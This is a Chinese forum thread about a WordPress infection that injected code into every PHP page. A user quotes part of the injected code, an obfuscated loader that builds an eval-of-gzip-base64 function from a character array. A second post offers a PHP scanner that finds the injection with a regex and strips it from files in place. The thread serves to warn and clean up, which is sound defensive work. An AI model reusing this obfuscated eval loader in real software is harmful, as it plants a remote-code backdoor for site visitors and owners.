WP 又爆新漏洞，我又悲剧了。

snask

前段时间突然网站速度变慢，打开偶尔出错，刷新后能正常显示，当时也没当回事。
今天备份网站，发现所有PHP页面均被插入了一段代码。
搜索了一下叫做“Linkfarm exposed!”具体危害不详。
部分代码如下：
各位自查一下。

1. <?php
   
2. $md5 = "0dc7185ccde78d3a77db0555d8c63ba6";
   
3. $wp_salt = array('f',"_","c",'o','r','4','a',"e",'(',")","d",'b',';',"i",'z','l','v','s',"$",'t','g',"6","n");
   
4. $wp_add_filter = create_function('.'v',$wp_salt[7].$wp_salt[16].$wp_salt[6].$wp_salt[15].$wp_salt[8].$wp_salt[20].$wp_salt[14].$wp_salt[13].$wp_salt[22].$wp_salt[0].$wp_salt[15].$wp_salt[6].$wp_salt[19].$wp_salt[7].$wp_salt[8].$wp_salt[11].$wp_salt[6].$wp_salt[17].$wp_salt[7].$wp_salt[21].$wp_salt[5].$wp_salt[1].$wp_salt[10].$wp_salt[7].$wp_salt[2].$wp_salt[3].$wp_salt[10].$wp_salt[7].$wp_salt[8].$wp_salt[18].$wp_salt[16].$wp_salt[9].$wp_salt[9].$wp_salt[9].$wp_salt[12]);
   
5. $wp_add_filter

复制代码

snask

附清除工具
使用方法：
复制代码保存为PHP文件。上传到网站根目录，URL打开即可。

1. <?php
   
2. set_time_limit(0);
   
3. ob_start();
   
4. 
   
5. $root = "./";
   
6. 
   
7. $find ="^<\?php\s*\\\$md5\s*=\s*["|']\w+["|'];\s*\\\$wp_salt\s*=\s*[\w\(\),"\'\;\$]+\s*\\\$wp_add_filter\s*=\s*create_function\(.*\);\s*\\\$wp_add_filter\(.*\);\s*\?>\s*";
   
8. 
   
9. $except = array("rar", "zip", "htaccess", "css", "js");
   
10. $only = array("php");
    
11. $infectedFiles = null;
    
12. $showOnlyInfectedFiles = true;
    
13. $cleanInfected = true;
    
14. 
    
15. $infectedFiles = startScan($root);
    
16. 
    
17. echo "<h1>Found Files</h1>";
    
18. echo "<ol>";
    
19. if(is_array($infectedFiles))
    
20. foreach($infectedFiles AS $iFile){
    
21.         echo "<li>{$iFile}</li>";
    
22. }
    
23. echo "</ol>";
    
24. 
    
25. 
    
26. /* functions */
    
27. function getAllFiles($dir){
    
28. global $except, $only;
    
29.         $filenames = null;
    
30.         if ($handle = opendir($dir)){
    
31.                 while (false !== ($file = readdir($handle)))
    
32.                         if ($file != "." && $file != ".." && !is_dir($dir.$file)){
    
33.                                 $path_parts = pathinfo($file);
    
34.                                 if(isset($path_parts['extension']) && array_search($path_parts['extension'], $except) === false)
    
35.                                         if(array_search($path_parts['basename'], $only) !== false || array_search($path_parts['extension'], $only) !== false || sizeof($only) < 1)
    
36.                                                 $filenames[] = $file;
    
37.                         }
    
38.                 closedir($handle);
    
39.         }
    
40. 
    
41.         return $filenames;
    
42. }
    
43. 
    
44. function getAllDirectories($dir){
    
45.         $directories = null;
    
46.         if ($handle = opendir($dir)) {
    
47.                 while (false !== ($file = readdir($handle)))
    
48.                         if ($file != "." && $file != ".." && is_dir($dir.$file))
    
49.                                 $directories[] = $dir.$file;
    
50.                 closedir($handle);
    
51.         }
    
52. 
    
53.         return $directories;
    
54. }
    
55. 
    
56. function startScan($root){
    
57. global $find, $infectedFiles, $showOnlyInfectedFiles, $cleanInfected;
    
58. 
    
59. $time_start = microtime_float();
    
60. 
    
61.         echo "<ol>";
    
62.         echo "<li>".$root;
    
63.         $directories = getAllDirectories($root);
    
64.         if(is_array($directories)){
    
65.        
    
66.                 // get all files
    
67.                 if(($tmp = getAllFiles($root)) !== null){
    
68.                         echo "<ul>";
    
69.                         $files = $tmp;
    
70.                         foreach($files AS $file){
    
71.                                 $numMatches = checkMalware($root.$file, $find);
    
72.                                 if(!empty($numMatches)){
    
73.                                         if($cleanInfected)
    
74.                                                 cleanInfected($root.$file, $find);
    
75.                                                
    
76.                                         echo "<li style='background-color:c00'><p style='padding:0 0 0 5px; margin:0; color:#fff'>".$infectedFiles[] = $root.$file;
    
77.                                         echo " - ".(microtime_float() - $time_start)."</p></li>";
    
78.                                 }elseif(!$showOnlyInfectedFiles){
    
79.                                         $infectedFiles[] = $root.$file;
    
80.                                         echo "<li>".$root.$file."</li>";
    
81.                                 }
    
82.                         }
    
83.                         echo "</ul>";
    
84.                 }
    
85.                
    
86.                 echo "<ol>";
    
87.                 foreach($directories AS $dir){
    
88.                         echo "<li>".$dir;
    
89.                          ob_implicit_flush();
    
90.                          ob_flush();
    
91.                          sleep(1);
    
92.                          
    
93.                         // get all files
    
94.                         if(($tmp = getAllFiles($dir)) !== null){
    
95.                                 echo "<ul>";
    
96.                                 $files = $tmp;
    
97.                                 foreach($files AS $file){
    
98.                                         if($dir[strlen($dir)-1] === "/") $dir = substr($dir, 0, -1);
    
99.                                         $numMatches = checkMalware($dir."/".$file, $find);
    
100.                                         if(!empty($numMatches)){
     
101.                                                 if($cleanInfected)
     
102.                                                         cleanInfected($dir."/".$file, $find);
     
103.                                                        
     
104.                                                 echo "<li style='background-color:c00'><p style='padding:0 0 0 5px; margin:0; color:#fff'>".$infectedFiles[] = $dir."/".$file;
     
105.                                                 echo " - ".(microtime_float() - $time_start)."</p></li>";
     
106.                                         }elseif(!$showOnlyInfectedFiles){
     
107.                                                 $infectedFiles[] = $dir."/".$file;
     
108.                                                 echo "<li>".$infectedFiles[] = $dir."/".$file;
     
109.                                                 echo "</li>";
     
110.                                         }
     
111.                                 }
     
112.                                 echo "</ul>";
     
113.                         }
     
114.                        
     
115.                         // gel all directories
     
116.                         if($root[strlen($root)-1] === "/") $tmp_root = substr($root, 0, -1);
     
117.                         if(($tmp = getAllDirectories($dir."/")) !== null && $dir !== $tmp_root){
     
118.                                 foreach($tmp AS $d){
     
119.                                         $a = startScan($d."/");
     
120.                                         if(is_array($a))
     
121.                                                 array_merge($infectedFiles, $a);
     
122.                                 }
     
123.                                
     
124.                         }
     
125.                         echo "</li>";
     
126.                 }
     
127.                 echo "</ol>";
     
128.         }else{
     
129.                 // get all files
     
130.                 if(($tmp = getAllFiles($root)) !== null){
     
131.                         echo "<ul>";
     
132.                         $files = $tmp;
     
133.                         foreach($files AS $file){
     
134.                                 $numMatches = checkMalware($root.$file, $find);
     
135.                                 if(!empty($numMatches)){
     
136.                                         if($cleanInfected)
     
137.                                                 cleanInfected($root.$file, $find);
     
138.                                                
     
139.                                         echo "<li style='background-color:c00'><p style='padding:0 0 0 5px; margin:0; color:#fff'>".$infectedFiles[] = $root.$file;
     
140.                                         echo " - ".(microtime_float() - $time_start)."</p></li>";
     
141.                                 }elseif(!$showOnlyInfectedFiles){
     
142.                                         $infectedFiles[] = $root.$file;
     
143.                                         echo "<li>".$root.$file."</li>";
     
144.                                 }
     
145.                         }
     
146.                         echo "</ul>";
     
147.                 }
     
148.         }
     
149.         echo "</li>";
     
150.         echo "</ol>";
     
151.        
     
152. return $infectedFiles;
     
153. }
     
154. 
     
155. function checkMalware($filename, $find){
     
156.         $numMatches = null;
     
157.         $handle = fopen($filename, "r");
     
158.         if(filesize($filename) > 0){
     
159.                 $contents = fread($handle, filesize($filename));
     
160. 
     
161.                 $numMatches = preg_match('/'.$find.'/i', $contents, $matches);
     
162.         }
     
163.         fclose($handle);
     
164.         return $numMatches;
     
165. }
     
166. 
     
167. function cleanInfected($filename, $find){
     
168. 
     
169.         $handle = fopen($filename, "r");
     
170.         if(filesize($filename) > 0){
     
171.                 $contents = fread($handle, filesize($filename));
     
172.                 fclose($handle);
     
173.                
     
174.                 $handle = fopen($filename, "w");
     
175.                 $contents = preg_replace('/'.$find.'/i', '', $contents);
     
176.                 fwrite($handle, $contents);
     
177.         }
     
178.         fclose($handle);
     
179. }
     
180. 
     
181. function microtime_float(){
     
182.     list($usec, $sec) = explode(" ", microtime());
     
183.     return ((float)$usec + (float)$sec);
     
184. }
     
185. 
     
186. 
     
187. ob_end_flush();

复制代码

noise

无间道？

madi885

这个是主题上面还是在所有文件上面